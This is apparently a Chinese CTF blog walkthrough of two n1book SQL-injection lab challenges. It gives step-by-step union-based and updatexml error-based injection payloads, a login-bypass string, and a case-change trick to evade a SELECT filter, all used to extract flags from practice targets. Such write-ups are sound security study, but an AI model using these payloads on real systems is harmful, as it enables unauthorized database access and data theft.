[第一章 web入门]SQL注入-1,[第一章 web入门]SQL注入-2

1.[第一章 web入门]SQL注入-1

打开是这样的,很明显在url中存在注入点

id=2

id=3

id=4

可以肯定的是id是注入点

判断

输入

?id=1 and 1=1--+     正常

?id=1 and 1=2--+     正常

不是数字型注入

输入

?id=1' and 1=1--+    正常

?id=1' and 1=2--+    无回显 报错

是字符型注入

?id=1'and 1 = 1#  注释符#无效,应该是被过滤了

查字段

?id=1'order by 3--+   正常

?id=1'order by 4--+   无回显 报错

字段数为3

union查询测试注入点(回显点位)

?id=-1'union select 1,2,3--+

查询当前数据库名及版本
?id=-1'union select 1,database(),version()--+

数据库:note

查表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

得到两个表fl4g,notes

不放心的话可以两个表都爆一下

查字段

查notes表的字段

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

查fl4g表的字段

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

flag应该在fl4g表fllllag字段里

查字段
?id=-1'union select 1,2,group_concat(fllllag) from fl4g--+

得到flag:n1book{union_select_is_so_cool}

2.[第一章 web入门]SQL注入-2

题目有一个提示

打开后是这样的

访问/login.php

/user.php   让你先登陆

回到login.php试一下万能密码

用户名:1' or 1=1#
密码:1(密码任意)

又分别看了每个界面的源代码

有一句提示

<!-- 如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦-->

按照提示再来一次

send后提示一大串  {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

应该是账号不存在

dual

引入新知识:dual   dual

这样就可以测试SQL语句是否可以正常执行

根据报错的提示我们可以发现是select被过滤了,尝试一下大小写绕过name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+,成功得到正常回显

开始注入

查表名

将sELEct后的1改为group_concat(table_name),dual改为information_schema.tables where table_schema=database()以查看所有表名
得到payload:name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+

查字段名

要看fl4g的字段,分别改为把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’

得到payload:name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

查看字段获取flag

  payload:name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+

name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+

得到flag:n1book{login_sqli_is_nice}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值